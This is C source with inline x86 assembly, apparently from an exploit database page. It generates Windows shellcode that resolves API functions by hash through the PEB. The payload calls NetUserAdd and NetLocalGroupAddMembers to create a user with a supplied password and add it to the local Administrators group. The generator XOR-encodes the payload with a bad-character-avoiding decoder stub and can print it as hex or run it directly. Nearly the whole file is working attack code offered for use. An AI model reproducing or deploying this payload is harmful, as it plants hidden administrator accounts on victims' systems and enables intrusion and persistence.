#include <windows.h>
#include <stdio.h>
#define SC_HEX 0
#define NAKED __declspec(naked)
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
#define PROC_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
void PrintSc(unsigned char *buf, int buf_len, int opt)
{
int i=0;
printf("// %d bytes\n", buf_len);
switch(opt)
{
case SC_HEX:
for(i=0; i<buf_len; i++)
{
printf("\\x%02X", buf[i]);
}
break;
}
}
void ShellCode();
unsigned char decode1[] =
/*
00401004 . /EB 0E JMP SHORT encode.00401014
00401006 $ |5B POP EBX
00401007 . |4B DEC EBX
00401008 . |33C9 XOR ECX,ECX
0040100A . |B1 FF MOV CL,0FF
0040100C > |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
00401010 .^|E2 FA LOOPD SHORT encode.0040100C
00401012 . |EB 05 JMP SHORT encode.00401019
00401014 > \E8 EDFFFFFF CALL encode.00401006
*/
"\xEB\x0E\x5B\x4B\x33\xC9\xB1"
"\xFF" // shellcode size
"\x80\x34\x0B"
"\x99" // xor byte
"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"; // 21字节
unsigned char decode2[] =
/* ripped from eyas
00406030 /EB 10 JMP SHORT 00406042
00406032 |5B POP EBX
00406033 |4B DEC EBX
00406034 |33C9 XOR ECX,ECX
00406036 |66:B9 6601 MOV CX,166
0040603A |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
0040603E ^|E2 FA LOOPD SHORT 0040603A
00406040 |EB 05 JMP SHORT 00406047
00406042 \E8 EBFFFFFF CALL 00406032
*/
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9"
"\x66\x01" // shellcode size
"\x80\x34\x0B"
"\x99" // xor byte
"\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"; // 23字节
// kernel32.dll 数目
#define _Knums 2
// kernel32.dll 导出
#define _LoadLibraryA 0x00
#define _ExitThread 0x04
// netapi32.dll
#define _NetUserAdd 0x08
#define _NetLocalGroupAddMembers 0x0C
// Data
#define _DataOffset 0
#define _UserPassword 0x10
unsigned char functions[100][128] =
{ // [esi] stack layout
// kernel32 .dll
"LoadLibraryA",
"ExitThread",//"ExitProcess", //"ExitThread",
"NetUserAdd",
"NetLocalGroupAddMembers",
"",
};
int GetShellCode(unsigned char* buff, char* user, char* pass)
{
char *fnbgn_str = PROC_STR;
char *fnend_str = fnbgn_str;
unsigned char* scAddr = 0;
unsigned char scBuff[2048];
unsigned int scBuffLen = sizeof(scBuff);
unsigned long dwHash[100];
unsigned int dwHashSize = 0;
unsigned int scLen = 0;
unsigned char xorByte = 0x00;
int i, j, bFind;
char admin[] = "Administrators";
for(i=0; functions[i][0]; i++)
{
dwHash[i] = 0;
for(j=0; functions[i][j]; j++)
{
dwHash[i] = ( (dwHash[i]<<25) | (dwHash[i]>>7) ) + functions[i][j] ;
}
//printf("%.8X\t%s\n", dwHash[i], functions[i]);
}
dwHashSize = i*4;
scAddr = (unsigned char *)ShellCode;
for(j=0; j < scBuffLen; j++)
{
if(!memcmp(scAddr+j, fnbgn_str, 8))
{
scAddr += (j+8); // ShellCode开始地址
break;
}
}
for(j=0; j < scBuffLen; j++)
{
if(!memcmp(scAddr+j, fnend_str, 8))
{
scLen = j; // Shellcode长度 (未加函数hash)
break;
}
}
memcpy(scBuff, scAddr, scLen);
memcpy(scBuff+scLen, (unsigned char *)dwHash, dwHashSize); // Shellcode尾部添加函数hash
scLen += dwHashSize; // Shellcode长度 (添加函数hash后)
// 添加修改shellcode的部分 ......
scLen += _DataOffset;
memcpy(scBuff+scLen, user, strlen(user)+1);
scLen += (strlen(user)+1);
memcpy(scBuff+scLen, pass, strlen(pass)+1);
scLen += (strlen(pass)+1);
memcpy(scBuff+scLen, admin, strlen(admin)+1);
scLen += (strlen(admin)+1);
for(i=0xFF; i>0; i--) // 找xorByte
{
for(j=0; j<scLen; j++)
{
if ( // 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40",
((scBuff[j] ^ i) == '\r') ||
((scBuff[j] ^ i) == '\n') ||
((scBuff[j] ^ i) == '/') ||
((scBuff[j] ^ i) == '\\') ||
((scBuff[j] ^ i) == '@' ) ||
((scBuff[j] ^ i) == '_' ) ||
((scBuff[j] ^ i) == '.' ) ||
//((scBuff[j] ^ i) == ':' ) ||
//((scBuff[j] ^ i) == '"' ) ||
//((scBuff[j] ^ i) == '>' ) ||
//((scBuff[j] ^ i) == '<' ) ||
//((scBuff[j] ^ i) == ' ' ) ||
((scBuff[j] ^ i) == '\0')
)
{
bFind = 0;
break;
}
bFind = 1;
}
if(bFind) break;
}
if(!bFind)
{
printf("No xorByte found!\n");
return 0;
}
else
{
xorByte = i;
for(j=0; j<scLen; j++)
{
scBuff[j] ^= xorByte;
}
// encode
if(scLen > 0xFF)
{
*(unsigned short *)&decode2[8] = scLen;
*(unsigned char *)&decode2[13] = xorByte;
memcpy(buff, decode2, sizeof(decode2)-1);
memcpy(buff+sizeof(decode2)-1, scBuff, scLen);
scLen += sizeof(decode2)-1;
}
else
{
*(unsigned char *)&decode1[7] = scLen;
*(unsigned char *)&decode1[11] = xorByte;
memcpy(buff, decode1, sizeof(decode1)-1);
memcpy(buff+sizeof(decode1)-1, scBuff, scLen);
scLen += sizeof(decode1)-1;
}
return scLen; // Shellcode最终长度
}
}
void ShellCode()
{
__asm
{
PROC_BEGIN // C macro to begin proc
jmp sc_end
sc_start:
pop edi // Hash string start addr (esp -> edi)
// Get kernel32.dll base addr
push 0x30
pop ecx
mov eax, fs:[ecx] // PEB
mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
mov esi, [eax+0x1c] // InInitOrder.flink
lodsd // eax = InInitOrder.blink
mov ebp, [eax+8] // ebp = kernel32.dll base address
mov esi, edi // Hash string start addr -> esi
push _Knums
pop ecx
get_kernel32:
call GetProcAddress_fun // Get function addr of kernel32
loop get_kernel32
push ecx // ecx==0
push '23ip'
push 'aten' // 'netapi32'
push esp
call [esi+_LoadLibraryA]
xchg ebp, eax
push 2
pop ecx
get_netapi32:
call GetProcAddress_fun
loop get_netapi32
/*
user
pass
admin
typedef struct _USER_INFO_1 {
+00 LPWSTR usri1_name; user
+04 LPWSTR usri1_password; pass
+08 DWORD usri1_password_age; 0
+0C DWORD usri1_priv; 1
+10 LPWSTR usri1_home_dir; 0
+14 LPWSTR usri1_comment; 0
+18 DWORD usri1_flags; 10000
+1C LPWSTR usri1_script_path; 0
}USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;
typedef struct _LOCALGROUP_MEMBERS_INFO_3 {
+20 LPWSTR lgrmi3_domainandname;
} LOCALGROUP_MEMBERS_INFO_3;
*/
//int 3 // ecx==0
inc ch
sub esp, ecx // ecx==100
xchg ebx, esi
lea esi, [ebx+_UserPassword]
xor eax, eax
mov edi, esp // esp user
call ascii_to_unicode
mov edx, edi // edx pass
call ascii_to_unicode
mov ebp, edi // ebp admin
call ascii_to_unicode
xchg ebx, esi
push 8 // eax==0
pop ecx
mov ebx, edi
zero_loop:
stosd
loop zero_loop
mov [edi], esp
mov [ebx], esp
mov [ebx+4], edx
inc ecx
push ecx
push edi
push 3
push ebp
push eax
push eax
push ebx
push ecx
push eax
mov [ebx+0x0C], ecx // ecx==1
shl ecx, 0x10 // ecx==10000h
mov [ebx+0x18], ecx
call [esi+_NetUserAdd] // NetUserAdd(NULL, 1, (LPBYTE)&UserInfo1, NULL);
call [esi+_NetLocalGroupAddMembers] // NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&GroupInfo3, 1);
call [esi+_ExitThread]
ascii_to_unicode:
convert_loop:
lodsb
stosw
test al, al
jne convert_loop
retn
/*
esi 指向hash数组基址
edi 指向hash存放地址
ebp 指向PE加载基址
*/
GetProcAddress_fun:
push ecx
push esi
mov esi, [ebp+0x3C] // e_lfanew
mov esi, [esi+ebp+0x78] // ExportDirectory RVA
add esi, ebp // rva2va
push esi
mov esi, [esi+0x20] // AddressOfNames RVA
add esi, ebp // rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, 7 // hash key
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] // compare to hash
jnz short find_start
pop esi // ExportDirectory
mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA
add ebx, ebp // rva2va
mov cx, [ebx+ecx*2] // FunctionOrdinal
mov ebx, [esi+0x1C] // AddressOfFunctions RVA
add ebx, ebp // rva2va
mov eax, [ebx+ecx*4] // FunctionAddress RVA
add eax, ebp // rva2va
stosd // function address save to [edi]
pop esi
pop ecx
ret
sc_end:
call sc_start
PROC_END //C macro to end proc
}
}
#ifndef _MAIN_FUNC
void main(int argc, char *argv[])
{
unsigned char scBuff[2048];
unsigned int scLen = 0;
DWORD addr;
if(argc==3 || argc==4)
{
scLen = GetShellCode(scBuff, argv[1], argv[2]);
}
else
{
printf( "Usage:\n"
" %s user pass [1]\n"
" eg. %s admin pass\n"
,argv[0], argv[0]);
return;
}
if(argc==4 && atoi(argv[3])==1)
{
addr = (DWORD)&scBuff;
__asm
{
jmp addr
}
return;
}
else
{
PrintSc(scBuff, scLen, SC_HEX);
}
}
#endif
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation